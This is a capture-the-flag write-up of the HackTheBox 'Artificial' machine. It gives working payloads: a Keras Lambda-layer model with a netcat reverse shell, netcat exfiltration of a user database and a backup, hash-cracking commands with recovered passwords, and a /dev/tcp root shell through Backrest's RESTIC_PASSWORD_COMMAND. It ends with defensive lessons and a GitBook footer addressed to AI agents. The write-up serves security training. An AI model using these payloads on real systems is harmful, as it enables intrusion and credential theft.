> For the complete documentation index, see [llms.txt](https://blog.r00t-hunter.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.r00t-hunter.com/hackthebox/artificial-hackthebox.md).

# Artificial - HackTheBox

**Machine:** [Artificial](https://app.hackthebox.com/machines/668) **OS:** Linux (Ubuntu 20.04) **Difficulty:** Easy **Tags:** Machine Learning, TensorFlow, Insecure Deserialization, SQLite, Bcrypt, Restic/Backrest

***

### Overview

Artificial is a Linux machine built around an exposed web application that lets users upload TensorFlow/Keras models for "predictions." The core vulnerability is **arbitrary code execution via a malicious Keras model file** (CVE-2020-26266 class issue in TensorFlow), which gives an initial foothold as the `app` service user. From there, credential reuse from a leaked SQLite database and cracked password hashes lead to SSH access as `gael`. Privilege escalation to `root` is achieved by abusing a locally running **Backrest** (Restic backup) service, first by cracking a bcrypt password hash recovered from a backup archive, then by exploiting Backrest's ability to run arbitrary commands via the `RESTIC_PASSWORD_COMMAND` environment variable when creating a new repository which executes as root.

***

### 1. Reconnaissance

#### 1.1 Nmap Scan

```bash
sudo nmap -sCV -T4 <ip> -oA nmap-initial
```

**Results:**

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
|   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_  256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

**Takeaways:**

* Only two ports open: SSH (22) and HTTP (80).
* The HTTP service redirects to a virtual host `artificial.htb`  add this to `/etc/hosts`.
* nginx fronting the app suggests a reverse proxy to an internal web service (Flask/gunicorn typically run on `127.0.0.1` behind nginx).

```bash
echo "<ip> artificial.htb" | sudo tee -a /etc/hosts
```

#### 1.2 Web Enumeration

Browsing to `http://artificial.htb/` revealed a machine-learning-themed web app that allows users to **register, log in, upload a Keras `.h5` model, and request predictions** on it. This "upload model → run predictions" workflow is the key attack surface: if the backend loads the model with `tf.keras.models.load_model()` without restriction, any **Lambda layer** embedded in the model file will execute arbitrary Python code when the model is loaded or invoked.

***

### 2. Identifying the Vulnerability

While enumerating the app's dependencies (visible via a leaked/example Dockerfile on the site or through error messages), the following base image and library version were identified:

```dockerfile
FROM python:3.8-slim

WORKDIR /code

RUN apt-get update && \
    apt-get install -y curl && \
    curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
    rm -rf /var/lib/apt/lists/*

RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl

ENTRYPOINT ["/bin/bash"]
```

**Key fact:** `tensorflow-cpu==2.13.1` is in use.

This version is vulnerable to **arbitrary code execution via Keras model deserialization** tracked under the TensorFlow/Keras Lambda-layer deserialization issue (related CVE class: **CVE-2020-26266** and successors). The root cause: Keras's `Lambda` layer stores a Python callable (often pickled or marshalled) inside the saved model file. When the model is loaded with `load_model()`, Keras will execute that embedded code automatically there is no sandboxing. Any application that allows users to **upload and load model files** is effectively allowing arbitrary code execution, equivalent to an insecure deserialization vulnerability.

Reference: <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-26266>

***

### 3. Exploitation (Building the Malicious Model)

#### 3.1 Setting Up a Matching Environment

To craft a model file compatible with the target's TensorFlow/Keras version, a matching local environment was built:

```bash
/opt/python-3.10.0/bin/python3.10 -m venv venv
source ./venv/bin/activate
pip install -r requirements.txt
# Collecting tensorflow-cpu==2.13.1 ...
```

Matching the exact library version is important Keras model files (`.h5`) can be version-sensitive, and using a mismatched version risks the payload failing to load or deserialize correctly on the target.

#### 3.2 Crafting the Payload

```python
# exploit.py — change <ip> to your tun0/VPN IP
import tensorflow as tf
import os

def exploit(x):
    import os
    os.system("rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc <ip> 1337 >/tmp/f")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")
```

**How it works:**

* A `Lambda` layer wraps the `exploit()` function. Keras serializes this function (via `marshal`/`pickle`-like mechanisms) into the `.h5` file.
* When the target application loads this model and runs a prediction (forward pass), the Lambda layer's function executes triggering the embedded `os.system()` call.
* The payload is a classic **named-pipe reverse shell** one-liner:

  ```bash
  rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc <ip> 1337 >/tmp/f
  ```

  This creates a named pipe (`/tmp/f`), pipes it into `/bin/sh -i`, redirects stdin/stdout/stderr through `nc` to the attacker, and cleans up the pipe reference giving an interactive reverse shell without needing `bash -i` (useful on minimal containers).

Generate the model:

```bash
python3 exploit.py
```

#### 3.3 Triggering the Payload

1. Start a listener on the attacking machine:

   ```bash
   rlwrap nc -nlvp 1337
   ```
2. Log into the web app and upload `exploit.h5` as a model.
3. Navigate to **"View Predictions"** (or equivalent) to force the app to load the model and run inference this triggers the Lambda layer's malicious code.

**Result:**

```
listening on [any] 1337 ...
connect to [VPN] from (UNKNOWN) [IP] 48596
/bin/sh: 0: can't access tty; job control turned off
$ whoami
app
```

Foothold achieved as the `app` user (the service account running the Flask backend).

***

### 4. Post-Exploitation as `app`  (Finding Credentials)

#### 4.1 Locating the Application Database

Enumerating the app's working directory revealed an `instance/` folder containing a SQLite database file, `users.db`, which stores registered user accounts and password hashes.

#### 4.2 Exfiltrating the Database

**Attacker side** (start a listener to catch the file):

```bash
nc -lp 1234 > users.db
```

**Victim side** (send the file out):

```bash
nc -w 3 <ip> 1234 < users.db
```

Verify transfer:

```bash
ll users.db
# -rw-r--r-- 1 kali kali 24K Jun 24 15:50 users.db
```

#### 4.3 Extracting User Hashes

Querying the SQLite DB (e.g. via `sqlite3 users.db "SELECT * FROM users;"`) returned:

```
1  gael    gael@artificial.htb    c99175974b6e192936d97224638a34f8
2  mark    mark@artificial.htb    0f3d8c76530022670f1c6029eed09ccb
3  robert  robert@artificial.htb  b606c5f5136170f15444251665638b36
4  royer   royer@artificial.htb   bc25b1f80f544c0ab451c02a3dca9fc6
5  mary    mary@artificial.htb    bf041041e57f1aff3be7ea1abd6129d0
```

These 32-character hex strings are consistent with raw **MD5** hashes.

#### 4.4 Cracking the Hashes

```bash
hashcat --identify hashes
```

Confirmed multiple MD5-family candidates, with plain MD5 (`-m 0`) as the most likely given the format. Ran a dictionary attack with rockyou:

```bash
hashcat -m 0 -a 0 hashes /usr/share/wordlists/rockyou.txt
```

**Cracked:**

```
c99175974b6e192936d97224638a34f8:mattp005numbertwo
```

This corresponds to user **gael**.

***

### 5. Initial SSH Access (User Flag)

```bash
ssh gael@artificial.htb
# password: mattp005numbertwo
```

```
gael@artificial:~$ ls
user.txt
```

`user.txt` captured. ✅

***

### 6. Privilege Escalation (Enumeration)

#### 6.1 Listening Services

```bash
netstat -tlpn
```

```
127.0.0.1:5000   - internal Flask app (the web service itself)
127.0.0.1:9898   - unidentified, locally bound
0.0.0.0:80       - nginx
127.0.0.53:53    - systemd-resolved
0.0.0.0:22       - SSH
127.0.0.1:6010   - X11 forwarding artifact
```

Port `9898` bound only to localhost is the standout worth identifying which service owns it.

#### 6.2 Identifying the Mystery Service

```bash
systemctl list-units --type=service --state=active --no-legend | awk '{print $1}' | while read svc; do
    path=$(systemctl show -p FragmentPath --value "$svc")
    printf "%-50s %s\n" "$svc" "$path"
done
```

This revealed a custom unit: **`backrest.service`**.

```bash
cat /etc/systemd/system/backrest.service
```

```ini
[Unit]
Description=Backrest Service
After=network.target

[Service]
Type=simple
User=root
Group=root
ExecStart=/usr/local/bin/backrest
Environment="BACKREST_PORT=127.0.0.1:9898"
Environment="BACKREST_CONFIG=/opt/backrest/.config/backrest/config.json"
Environment="BACKREST_DATA=/opt/backrest"
Environment="BACKREST_RESTIC_COMMAND=/opt/backrest/restic"

[Install]
WantedBy=multi-user.target
```

**Critical detail:** Backrest (a web UI for the [restic](https://restic.net/) backup tool) runs as **root** and listens on `127.0.0.1:9898`. If credentials to its web UI can be obtained, any command-execution feature it exposes will run as root.

#### 6.3 Finding Backup Archives

```bash
ll /var/backups/
```

```
-rw-r-----  1 root sysadm 52357120 Mar  4 22:19 backrest_backup.tar.gz
```

A backup archive of Backrest's own data, readable by the `sysadm` group (which `gael` apparently belongs to, or readable enough to access).

#### 6.4 Exfiltrating the Backup

**Attacker side:**

```bash
nc -lp 1234 > backup.tar.gz
```

**Victim side:**

```bash
nc -w 3 <ip> 1234 < /var/backups/backrest_backup.tar.gz
```

#### 6.5 Extracting Backrest Credentials

Inside the archive, `config.json` contained Backrest's auth configuration:

```json
{
  "modno": 2,
  "version": 4,
  "instance": "Artificial",
  "auth": {
    "disabled": false,
    "users": [
      {
        "name": "backrest_root",
        "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
      }
    ]
  }
}
```

The `passwordBcrypt` field is **base64-encoded**, not a raw bcrypt hash decode it first:

```bash
echo 'JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP' | base64 -d | tee hash
```

```
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO
```

This is a standard **bcrypt** hash (`$2a$` prefix).

#### 6.6 Cracking the Bcrypt Hash

```bash
hashcat --identify hash
```

Confirmed mode `3200` (bcrypt $2\*$, Blowfish/Unix).

```bash
hashcat -a 0 -m 3200 hash /usr/share/wordlists/rockyou.txt
```

**Cracked:**

```
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO:!@#$%^
```

Password for `backrest_root`: **`!@#$%^`**

***

### 7. Privilege Escalation (Exploiting Backrest)

#### 7.1 Port-Forwarding the Backrest UI

Since Backrest only listens on `127.0.0.1:9898`, an SSH local port-forward exposes it locally on the attacker machine:

```bash
ssh -L9898:127.0.0.1:9898 gael@artificial.htb
```

Then browse to `http://127.0.0.1:9898` and log in as `backrest_root` / `!@#$%^`.

#### 7.2 Abusing `RESTIC_PASSWORD_COMMAND`

Backrest lets users configure a new **repository**, and one of the supported authentication options is `RESTIC_PASSWORD_COMMAND`  an environment variable holding a **shell command** that restic runs to retrieve the repo password dynamically. Since Backrest (and therefore any command it spawns) runs as **root**, setting this to a reverse shell one-liner results in root-level code execution the moment the repo is created/tested.

**Payload (set as the `RESTIC_PASSWORD_COMMAND` env var on a new repo config):**

```bash
RESTIC_PASSWORD_COMMAND=bash -c 'bash -i >& /dev/tcp/<ip>/1338 0>&1'
```

#### 7.3 Catching the Shell

Start a listener:

```bash
rlwrap nc -nlvp 1338
```

Save/submit the new repository configuration in the Backrest UI this forces Backrest to invoke the password command to validate or initialize the repo, executing the payload as root.

**Result:**

```
connect to [VPN] from (UNKNOWN) [IP] 53282
bash: cannot set terminal process group (41424): Inappropriate ioctl for device
bash: no job control in this shell
root@artificial:/# whoami
root
```

Root achieved. ✅ Grab `root.txt` from `/root/`.

***

### 8. Attack Chain Summary

| Stage            | Technique                                                             | Result                            |
| ---------------- | --------------------------------------------------------------------- | --------------------------------- |
| Recon            | Nmap + vhost discovery                                                | Found web app on `artificial.htb` |
| Foothold         | Malicious Keras `Lambda` layer (TensorFlow model deserialization RCE) | Shell as `app`                    |
| Lateral movement | SQLite DB exfiltration → MD5 hash cracking                            | SSH as `gael`                     |
| Privesc enum     | Service/port enumeration → found root-owned Backrest service          | Identified attack surface         |
| Privesc          | Backup exfiltration → bcrypt hash cracking → Backrest UI login        | Authenticated to Backrest         |
| Root             | Abused `RESTIC_PASSWORD_COMMAND` in new repo creation                 | Root shell                        |

***

### 9. Lessons Learned

* **Never deserialize/load ML model files from untrusted sources without sandboxing.** Keras `Lambda` layers (and pickle-based serialization formats generally) can embed arbitrary executable code  `load_model()` is not safe on attacker-controlled input. Mitigations: load models in a restricted/sandboxed subprocess, use `safe_mode=True` where supported by newer Keras versions, or migrate to formats that don't support embedded callables (e.g. ONNX with strict schema validation).
* **Don't reuse weak credentials across services.** The same password pattern (`mattp005numbertwo`) cracked from a web app DB granted direct SSH access credential reuse between an application layer and OS-level accounts is a common real-world finding.
* **Backup archives are a privilege escalation goldmine.** Backup files often contain credentials, configs, and secrets that the live filesystem permissions would otherwise protect. Backup storage should enforce the same (or stricter) access controls as the original data.
* **`RESTIC_PASSWORD_COMMAND`-style "run a command to fetch a secret" features are inherently dangerous** when the consuming service runs as a higher-privileged user than the one configuring it. Any application that lets a lower-privileged or web-authenticated user supply a command to be executed by a root-owned service is a direct privesc vector this pattern should require strict input validation or run in a de-privileged context.
* **Segment services by privilege.** Backrest had no operational reason to run as `root`; running it as a dedicated low-privilege service account with only the filesystem access it needs would have contained this entire escalation path.

***

*Write-up based on a retired/lab HackTheBox machine. Only non-spoiler methodology for retired boxes should be published per HTB's content guidelines double check current policy before publishing.*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://blog.r00t-hunter.com/hackthebox/artificial-hackthebox.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
